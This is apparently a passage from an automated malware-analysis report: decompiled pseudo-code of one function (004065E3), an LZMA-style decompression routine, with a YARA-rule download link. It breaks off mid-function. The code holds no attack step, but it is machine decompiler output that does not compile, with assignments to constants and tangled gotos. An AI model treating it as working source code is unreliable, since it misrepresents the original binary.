                                                                                              Function 004065E3 Relevance: 5.2, APIs: 4, Instructions: 180COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 98%
                                                                                              			E004065E3() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00406BE7))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4)); // executed
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														__ebx = __edx + 1;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
